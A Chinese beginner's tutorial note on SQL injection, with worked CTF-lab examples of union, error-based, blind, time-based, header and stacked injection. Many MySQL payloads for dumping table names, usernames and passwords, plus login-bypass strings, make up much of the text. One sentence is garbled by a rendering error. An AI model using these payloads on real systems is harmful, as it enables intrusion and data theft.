剛接觸SQL注入,寫(xiě)一遍筆記幫助自己回顧知識(shí)或者給其他有需要的小伙伴。可能文中有的地方講的不對(duì),希望可以得到大佬們的糾正,謝謝!
什么是 SQL 注入 (SQL)?
SQL 注入是一種網(wǎng)絡(luò)安全漏洞,允許攻擊者干擾應(yīng)用程序?qū)ζ鋽?shù)據(jù)庫(kù)的查詢(xún)。它通常允許攻擊者查看他們通常無(wú)法檢索的數(shù)據(jù)。這可能包括屬于其他用戶(hù)的數(shù)據(jù),或應(yīng)用程序本身能夠訪問(wèn)的任何其他數(shù)據(jù)。在許多情況下,攻擊者可以修改或刪除這些數(shù)據(jù),從而導(dǎo)致應(yīng)用程序的內(nèi)容或行為發(fā)生持續(xù)變化。在某些情況下,攻擊者可以升級(jí) SQL 注入攻擊以破壞底層服務(wù)器或其他后端基礎(chǔ)架構(gòu),或執(zhí)行拒絕服務(wù)攻擊。
產(chǎn)生SQL注入的原理
程序開(kāi)發(fā)過(guò)程中不注意書(shū)寫(xiě)規(guī)范,對(duì)sql語(yǔ)句和關(guān)鍵字未進(jìn)行過(guò)濾,導(dǎo)致客戶(hù)端可以通過(guò)全局變量get或者post提交sql語(yǔ)句到服務(wù)器端正常運(yùn)行。
成功的 SQL 注入攻擊有什么影響?
成功的 SQL 注入攻擊可能導(dǎo)致未經(jīng)授權(quán)訪問(wèn)敏感數(shù)據(jù),例如密碼、信用卡詳細(xì)信息或個(gè)人用戶(hù)信息。近年來(lái),許多備受矚目的數(shù)據(jù)泄露事件都是 SQL 注入攻擊的結(jié)果,導(dǎo)致聲譽(yù)受損和監(jiān)管罰款。在某些情況下,攻擊者可以獲得進(jìn)入組織系統(tǒng)的持久后門(mén),從而導(dǎo)致長(zhǎng)期危害,而這種危害可能會(huì)在很長(zhǎng)一段時(shí)間內(nèi)被忽視。
判斷注入點(diǎn)以及注入點(diǎn)有哪些類(lèi)型:
所謂注入點(diǎn)就是可以實(shí)行注入的地方,通常是一個(gè)訪問(wèn)數(shù)據(jù)庫(kù)的連接。(這里我個(gè)人理解就是產(chǎn)生的數(shù)據(jù)會(huì)被拼接到SQL語(yǔ)句帶到數(shù)據(jù)庫(kù)中運(yùn)行的地方)
首先判斷目標(biāo)的 URL 是否存在注入點(diǎn);如果存在注入點(diǎn),判斷注入點(diǎn)屬于哪種類(lèi)型。
按照參數(shù)分為:數(shù)值型注入和字符型注入
按照請(qǐng)求方式:GET注入,POST注入,Cookie注入,HTTP Header注入
按照是否回顯:顯注,盲注。
GET型SQL注入漏洞
GET 是 HTTP 協(xié)議的傳輸方式。它的特點(diǎn)就是可以直接以 URL 的形式傳輸數(shù)據(jù)。SQL注入就是利用GET傳參,用戶(hù)提交數(shù)據(jù)與數(shù)據(jù)庫(kù)進(jìn)行交互,從數(shù)據(jù)庫(kù)中提取有用的信息。
演示一些例子:
常規(guī)的注入
http://b9e231fa-9109-4398-9a50-7af313eaf147.node4.buuoj.cn:81/index.php?id=1
我這里更改id后面的數(shù)值,看界面發(fā)生的變化。
首先判斷注入類(lèi)型(數(shù)字型,字符型)
Id=1? and 1=1;Id=1? and 1=2 顯示正常
!
id=1’,頁(yè)面出錯(cuò),Id=1’ ‘正常。判斷為字符型(采用閉合)
我們接下來(lái)進(jìn)行查詢(xún)數(shù)據(jù)庫(kù)中的內(nèi)容:
Id=4 或者id=-3效果一樣(-3,負(fù)數(shù)的id肯定是不存在的)
這時(shí)候我發(fā)現(xiàn)頁(yè)面顯示不正常了,判斷這是一個(gè)注入點(diǎn)
我們查詢(xún)當(dāng)前的庫(kù)名
?id=-3’ union select 1,2,database()–+
Note
根據(jù)庫(kù)名,查詢(xún)當(dāng)前庫(kù)的表名
?id=-3’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘note’–+(3后面的單引號(hào)是為了閉合前面的,–+為注釋 ‘+‘編碼后為空格)
fl4g,notes
根據(jù)表名來(lái)查詢(xún)字段
?id=-3’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘note’ and table_name=‘fl4g’–+
fllllag
根據(jù)字段來(lái)查詢(xún)字段的內(nèi)容
?id=-3’ union select 1,2,fllllag from note.fl4g–+
n1book{union_select_is_so_cool}
總結(jié):
1.如何判斷數(shù)字注入和字符注入?
這是數(shù)字注入其中的一條語(yǔ)句(select * from users where id =‘x’)
www.xxx.com/ccc.php?id=1 and 1=1 select * from users where id =x and 1=1;
頁(yè)面正常,繼續(xù)下一步
www.xxx.com/ccc.php?id=1 and 1=2 select * from users where id =1 and 1=2;
頁(yè)面報(bào)錯(cuò),則說(shuō)明存在數(shù)字型注入。
這是字符注入其中的一條語(yǔ)句(select * from users where id =‘x’)
www.xxx.com/ccc.php?id=1’ and ‘1’='1 select * from users where id=‘x’ and ‘1’=‘1’
頁(yè)面正常,繼續(xù)下一步
www.xxx.com/ccc.php?id=1’ and ‘1’='2 select * from users where id=‘x’ and ‘1’=‘2’
頁(yè)面報(bào)錯(cuò),則說(shuō)明存在字符型注入。
數(shù)字型和字符型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。當(dāng)單引號(hào)不成功的話,我們可以試試其他的閉合方法。
閉合字符串,是為了讓我們執(zhí)行后面我們想要的代碼。
其他一些測(cè)試字符型的閉合方法:
加單引號(hào):(我們要搭配注釋一起使用)
輸入KaTeX parse error: Expected 'EOF', got '#' at position 87: …要閉合多余的單引號(hào),使用注釋符#?或者–+。不同數(shù)據(jù)庫(kù)的注釋可能…id=1’–+
執(zhí)行的SQL語(yǔ)句就是select * from table where id=‘1’ --+’
語(yǔ)句正確,頁(yè)面正常(才能確認(rèn)成功閉合了字符串)
除了單引號(hào),還有雙引號(hào)”,括號(hào)),雙括號(hào))),組合’)等其他的方法。
‘
‘)
“
“)
2.注釋
甲骨文 --comment
微軟 --comment
/comment/
PostgreSQL --comment
/comment/
MySQL #comment
– comment[注意雙破折號(hào)后的空格]
/comment/
+,20%也是代表空格。
POST型注入演漏洞
在 HTTP 常用方法中,POST 方法提交的實(shí)體不存儲(chǔ)在 URL 中,而是存儲(chǔ)在 HTTP 協(xié)議實(shí)體內(nèi)容中,在大多過(guò)程中,用戶(hù)時(shí)無(wú)法感知的。而我們的注入信息是存儲(chǔ)與 HTTP 實(shí)體內(nèi)容中而不是 URL,通過(guò)改造實(shí)體內(nèi)容,達(dá)到實(shí)際執(zhí)行 SQL 語(yǔ)句獲取到更多信息的目的。因此我們看不到提交的數(shù)據(jù),但是我們可以借助代理工具 Burp Suite,將我們提交的報(bào)文進(jìn)行攔截,并對(duì)報(bào)文實(shí)體內(nèi)容進(jìn)行改造。
演示一些例子:
前言:GET和POST請(qǐng)求
GET提交,請(qǐng)求的數(shù)據(jù)會(huì)附在URL之后(就是把數(shù)據(jù)放置在HTTP協(xié)議頭中),以?分割URL 和傳輸數(shù)據(jù),多個(gè)參數(shù)用&連接,我們之前的實(shí)驗(yàn)接觸的都是GET。
POST提交:把提交的數(shù)據(jù)放置在是HTTP包的包體中。
因此,GET提交的數(shù)據(jù)會(huì)在地址欄中顯示出來(lái),而POST提交,地址欄不會(huì)改變
例如:
其實(shí)這跟之前的注入都差不多,修改的地方變了而已。為了節(jié)省時(shí)間直接看網(wǎng)頁(yè)的源碼。
這里可以看到sql執(zhí)行的語(yǔ)句,因此采用單引號(hào)來(lái)閉合。
(’ or 1=1 – )這個(gè)代入上方語(yǔ)句中,值始終為真,因此可以直接不需要用戶(hù)名就可以登錄。
(admin ‘-- )表中如果存在賬戶(hù)admin,這樣也可以登錄進(jìn)去,還有其他很多的萬(wàn)能密鑰。
確認(rèn)這里是注入點(diǎn)后,就可以為所欲為了。
判斷字段數(shù)
‘ or 1=1 order by 2-- //顯示正確,兩個(gè)字段數(shù)
接下來(lái)試著能不能看到回顯:’ or 1=1 union select 11111,222–
網(wǎng)頁(yè)做過(guò)處理,看不到回顯點(diǎn),再試試報(bào)錯(cuò)注入:’
報(bào)錯(cuò)了,直接套用以前的攻擊載荷,進(jìn)行爆破即可。
注:這里的+是空格,復(fù)制的時(shí)候要把+變成“ ”,才能成功。
爆數(shù)據(jù)庫(kù)名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))–+
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))–+
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))–+
爆數(shù)據(jù):'and(select updatexml(1,concat(0x7e,(select group_concat(username)from users)),0x7e))–+
注:同樣的其他閉合方式的UNION聯(lián)合攻擊,盲注也與上面類(lèi)似套用之前實(shí)驗(yàn)的攻擊載荷就可以了。
Error_reporting(0);會(huì)屏蔽掉報(bào)錯(cuò)的信息。這種情況可以采用盲注的方式試看看。
Error-based基于報(bào)錯(cuò)注入
當(dāng)頁(yè)面經(jīng)過(guò)精心處理過(guò),可能我們是看不到顯示位的 , 但有數(shù)據(jù)庫(kù)的報(bào)錯(cuò)信息顯示時(shí), 可使利用一些函數(shù)加上準(zhǔn)備好的語(yǔ)句結(jié)合使用,將查詢(xún)的數(shù)據(jù)通過(guò)報(bào)錯(cuò)返回到頁(yè)面上。
演示一些類(lèi)型:
報(bào)錯(cuò)注入
這里我用的:?id=1) union select 1,2,3–+
是看不到回顯的,我們嘗試調(diào)試語(yǔ)句能不能讓數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息
?id=-1’,這里可以看到報(bào)錯(cuò)信息,我們利用函數(shù),將查詢(xún)信息包含在報(bào)錯(cuò)信息返回給到界面
利用xpath語(yǔ)法錯(cuò)誤來(lái)進(jìn)行報(bào)錯(cuò)注入主要利用extractvalue和updatexml兩個(gè)函數(shù)。
使用條件:mysql版本>5.1.5
Extractvalue:
pyload:id=‘a(chǎn)nd(select extractvalue(“anything”,concat(’~’,(select語(yǔ)句))))
查數(shù)據(jù)庫(kù)名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆數(shù)據(jù):id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
Updatexml:
payload:id=‘a(chǎn)nd(select updatexml(“anything”,concat(’~’,(select語(yǔ)句())),“anything”))
爆數(shù)據(jù)庫(kù)名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=“TABLE_NAME”)),0x7e))
爆數(shù)據(jù):'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
這里挑updatexml函數(shù)為例子:
查看當(dāng)前數(shù)據(jù)庫(kù)
?id=1’ and updatexml(1,concat(’~’,(select database())),1)–+
查看表users里字段username的內(nèi)容:
?id=1’ and updatexml(1,concat(’~’,(select group_concat(username) from users)),1)–+
注:還有其他一些函數(shù),也可以達(dá)到預(yù)期的效果。
SQL盲注漏洞
當(dāng)應(yīng)用程序容易受到 SQL 注入攻擊,但其 HTTP 響應(yīng)不包含相關(guān) SQL 查詢(xún)的結(jié)果或任何數(shù)據(jù)庫(kù)錯(cuò)誤的詳細(xì)信息時(shí)(UNION對(duì)于盲 SQL 注入漏洞,攻擊 等許多技術(shù)都無(wú)效,因?yàn)樗鼈円蕾?lài)于能夠在應(yīng)用程序的響應(yīng)中看到注入查詢(xún)的結(jié)果。)就會(huì)出現(xiàn) SQL 盲注。
演示一些類(lèi)型:
1.我們通過(guò)OUTFILE將查詢(xún)到的數(shù)據(jù)寫(xiě)到文件當(dāng)中來(lái)查看。對(duì)于出錯(cuò)的頁(yè)面被優(yōu)化后是不返回報(bào)錯(cuò)的具體信息和回顯信息。
2.盲注
2.1,我們可以通過(guò)一些函數(shù)將從數(shù)據(jù)庫(kù)中查詢(xún)的數(shù)據(jù)進(jìn)行猜測(cè),并進(jìn)行布爾判斷該值。
列如:(這里采用二分法判斷減小工作量或者使用burpsuite軟件直接爆破)
length(database())>1 判斷當(dāng)前數(shù)據(jù)庫(kù)的長(zhǎng)度,為后面做準(zhǔn)備
substring(str,pos,len)將str字符轉(zhuǎn)中的字符從第pos位開(kāi)始,共截取len位并返回
爆庫(kù)
?id=1’and substring(database(),1,1)=‘s’–+ //假設(shè)第一個(gè)字母是s,正確的話頁(yè)面會(huì)顯示正常
這里經(jīng)過(guò)判斷,得出當(dāng)前庫(kù)的的名字之后,可以參照前面幾種注入方法的思路,從而得到數(shù)據(jù)庫(kù)中的數(shù)據(jù):
接下來(lái)爆表(ascii函數(shù)會(huì)返回ascii值)
?id=1’and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>0–+
爆列
?id=1’and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name='users’limit 0,1),1,1))>0–+
最后爆庫(kù)的數(shù)據(jù)內(nèi)容
?id=1’and ascii(substring((select id from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select password from users limit 0,1),1,1))>0–+
?id=1’and ascii(substring((select username from users limit 0,1),1,1))>0–+
注:這種二分法判斷一般的話工作量都很大,因此我們可以借助工具快速完成判斷。
下面簡(jiǎn)單用burpsuite做一下演示:
第一步,抓包
第二步,把抓到的包發(fā)送到測(cè)試器模塊
第三步,這里我們先點(diǎn)擊清除,然后移動(dòng)光標(biāo)到我們想替代的地方,這里我們主要是替換%27a%27中間的字符a,因此給a兩邊添加。
第四步,我們要選擇有效載荷,這里可以直接通過(guò)下拉菜單選擇一些常用的載荷
最后一步,點(diǎn)擊攻擊,觀察那些跟其他頁(yè)面不一致的情況,可能就是我們想要的結(jié)果
注:我們通過(guò)改變substring函數(shù)當(dāng)中的偏移位,依次得到完整的數(shù)據(jù)。
2.2 時(shí)間盲注。上面的那種情況,說(shuō)白了我們還是通過(guò)觀察頁(yè)面的一細(xì)微的差異得到真實(shí)的數(shù)據(jù)。還有更糟糕的時(shí)候,無(wú)法準(zhǔn)確判別頁(yè)面差異,這時(shí)候可以通過(guò)時(shí)間盲注來(lái)達(dá)到預(yù)期效果。如果結(jié)果為真,可以讓頁(yè)面反應(yīng)時(shí)間加快或延遲。
這里用了一些閉合方式,發(fā)現(xiàn)頁(yè)面都是一個(gè)樣子,猜測(cè)可能是關(guān)閉了報(bào)錯(cuò),且無(wú)論語(yǔ)句正確與否返回的結(jié)果都是相同的。
可以試試時(shí)間盲注效果是什么樣的
sleep()參數(shù)寫(xiě)數(shù)字,此函數(shù)用于將時(shí)間延遲,參數(shù)的單位是秒
if(expr1,expr2,expr3)若expr1為真則執(zhí)行expr2,否則執(zhí)行expr3
?id=1 and sleep(10)–+
?id=1 'and sleep(10)–+ //這里頁(yè)面延遲了,采用的是單引號(hào)閉合
爆庫(kù)
?id=1’and if(database()=‘security’,sleep(2),1)–+ //這里爆當(dāng)前的數(shù)據(jù)庫(kù)
爆表
?id=1’and if(ascii(substring((select table_name from information_schema.tables where table_schema='security’limit 0,1),1,1))>0,sleep(2),1)–+
下面的爆列,數(shù)據(jù)和上面的類(lèi)似,一次替換到if()函數(shù)的對(duì)應(yīng)位置即可。
這里也可以采用工具爆破節(jié)省時(shí)間。
SQL二次注入
一階 SQL 注入出現(xiàn)在應(yīng)用程序從 HTTP 請(qǐng)求中獲取用戶(hù)輸入并在處理該請(qǐng)求的過(guò)程中以不安全的方式將輸入合并到 SQL 查詢(xún)中的情況。
二階 SQL 注入(存儲(chǔ) SQL 注入)中,應(yīng)用程序從 HTTP 請(qǐng)求中獲取用戶(hù)輸入并將其存儲(chǔ)以供將來(lái)使用。這通常是通過(guò)將輸入放入數(shù)據(jù)庫(kù)來(lái)完成的,但在存儲(chǔ)數(shù)據(jù)的位置不會(huì)出現(xiàn)漏洞。稍后,當(dāng)處理不同的 HTTP 請(qǐng)求時(shí),應(yīng)用程序會(huì)檢索存儲(chǔ)的數(shù)據(jù)并以不安全的方式將其合并到 SQL 查詢(xún)中。二階 SQL 注入通常出現(xiàn)在開(kāi)發(fā)人員知道 SQL 注入漏洞的情況下,因此可以安全地處理將輸入初始放置到數(shù)據(jù)庫(kù)中的情況。當(dāng)數(shù)據(jù)稍后被處理時(shí),它被認(rèn)為是安全的,因?yàn)樗氨话踩胤湃霐?shù)據(jù)庫(kù)中。此時(shí),數(shù)據(jù)以不安全的方式處理,因?yàn)殚_(kāi)發(fā)人員錯(cuò)誤地認(rèn)為它是可信的。
HTTP Header注入漏洞
HTTP請(qǐng)求頭我們主要關(guān)注四個(gè)部分:分別是referer、user-agent、cookie、X-Forwarded-For(XFF是用來(lái)標(biāo)識(shí)請(qǐng)求來(lái)源的IP信息)
例如:
Host:主機(jī)或域名地址
Accept:指瀏覽器或其他用戶(hù)可接受的MIME文件格式,Servlet可以根據(jù)它來(lái)判斷并返回適當(dāng)?shù)奈募袷?br> User-Agent:記錄客戶(hù)瀏覽器的名稱(chēng),版本啥的
Accept-Language:瀏覽器可接受的語(yǔ)言,比如en-us或者en指英語(yǔ)
connection:用來(lái)告訴服務(wù)器是否維持固定的http連接,這里默認(rèn)值是KEEP-ALIVE保持連接,這樣在需要多個(gè)文件時(shí)就不需要一次一連
Cookie:瀏覽器用這個(gè)屬性向服務(wù)器發(fā)送cookie,可以記載用戶(hù)信息,也哭一實(shí)現(xiàn)會(huì)話功能
referer:表面產(chǎn)生請(qǐng)求的url
content-type:用來(lái)表名request內(nèi)容類(lèi)型
Accept-Encoding:指瀏覽器可接受的編碼方式,瀏覽器在接收web響應(yīng)后會(huì)先編碼,再檢查文件格式。
請(qǐng)求頭比較容易注入的有Cookie, User-agent,和Referer
演示一些例子:
前面學(xué)習(xí)了很多注入點(diǎn),今天又是新的一個(gè)注入點(diǎn)uagent
根據(jù)參數(shù)判斷請(qǐng)求頭注入類(lèi)型
一開(kāi)始有些疑問(wèn),這里禁止了錯(cuò)誤報(bào)告,為什么還會(huì)顯示錯(cuò)誤信息,后來(lái)明白了,往下看
這里對(duì)username和password都進(jìn)行了過(guò)濾。
這里可以看到有一個(gè)數(shù)據(jù)庫(kù)報(bào)錯(cuò)信息輸出,這就是利用報(bào)錯(cuò)注入的原因所在??梢越柚鷌nsert into語(yǔ)句中uagent值去注入,造成數(shù)據(jù)庫(kù)內(nèi)部錯(cuò)誤,通過(guò)print函數(shù)輸出。
上方的思路有個(gè)前提條件,我們需要知道用戶(hù)名和密碼,才能執(zhí)行上面的代碼段。
這時(shí)候我們通過(guò)用戶(hù)名和密碼登錄后,抓包后其中顯示了user-agent的內(nèi)容,按照上面思路
使用閉合引起數(shù)據(jù)庫(kù)報(bào)錯(cuò)(剛才源碼已經(jīng)知道了是單引號(hào)閉合,這里就不浪費(fèi)時(shí)間了)
在字符串后添加”單引號(hào)”,然后點(diǎn)擊放包,觀察頁(yè)面響應(yīng)情況
報(bào)錯(cuò)了,下面利用之前的報(bào)錯(cuò)載荷進(jìn)行替代,就可以達(dá)到預(yù)期目的了。但是替換的時(shí)候要注意insert to 語(yǔ)句的語(yǔ)法。
當(dāng)前的數(shù)據(jù)庫(kù)
',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
表中內(nèi)容
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e),1))#
總結(jié):
1.這里因?yàn)閡pdatexml函數(shù)的參數(shù)的問(wèn)題困了我好久,這個(gè)函數(shù)總共有三個(gè)參數(shù),我之前最后一個(gè)參數(shù)忘記加了,浪費(fèi)了很多時(shí)間。如果載荷括號(hào)多的情況一定要放在一些比較方便的文本器查看括號(hào)是否匹對(duì),以及函數(shù)參數(shù)設(shè)置是否正確。在注入的時(shí)候,還要注意其他函數(shù)的語(yǔ)法問(wèn)題(這次的攻擊載荷跟以往載荷差別很大,比如最后我們還要添加上一個(gè)括號(hào)“)”,原理很簡(jiǎn)單為了和insert into 語(yǔ)句閉合)。不要為了圖方便,隨便把別人的攻擊載荷復(fù)制拿來(lái)直接用,這個(gè)我深有體會(huì),本想為了節(jié)省時(shí)間直接拿以前的攻擊載荷復(fù)制替換,導(dǎo)致很多地方出錯(cuò)。對(duì)于攻擊載荷使用之前,可以檢查一遍是否正確,排除一些括號(hào)匹配,參數(shù)錯(cuò)誤等問(wèn)題。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-467598.html
SQL堆疊注入
堆疊注入與受限于select語(yǔ)句的聯(lián)合查詢(xún)法相反,堆疊注入可用于執(zhí)行任意SQL語(yǔ)句。簡(jiǎn)單地說(shuō)就是MYSQL的多語(yǔ)句查詢(xún)。
堆疊注入的局限性:并不是在任何換環(huán)境下都可以執(zhí)行的,可能受到API或者數(shù)據(jù)庫(kù)引擎不支持的限制(如Oracle數(shù)據(jù)庫(kù)),也有可能權(quán)限不足。web系統(tǒng)中,代碼通常只返回一個(gè)查詢(xún)結(jié)果,因此堆疊注入第二個(gè)語(yǔ)句產(chǎn)生錯(cuò)誤或者結(jié)果只能被忽略,我們?cè)谇岸私缑媸菬o(wú)法看到返回結(jié)果的。因此,在讀取數(shù)據(jù)時(shí),一般建議使用union注入.同時(shí)在使用堆疊注入之前,需要知道數(shù)據(jù)庫(kù)的一些相關(guān)信息,比如:表名,列名等信息文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-467598.html
到了這里,關(guān)于常見(jiàn)的一些SQL注入漏洞類(lèi)型的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!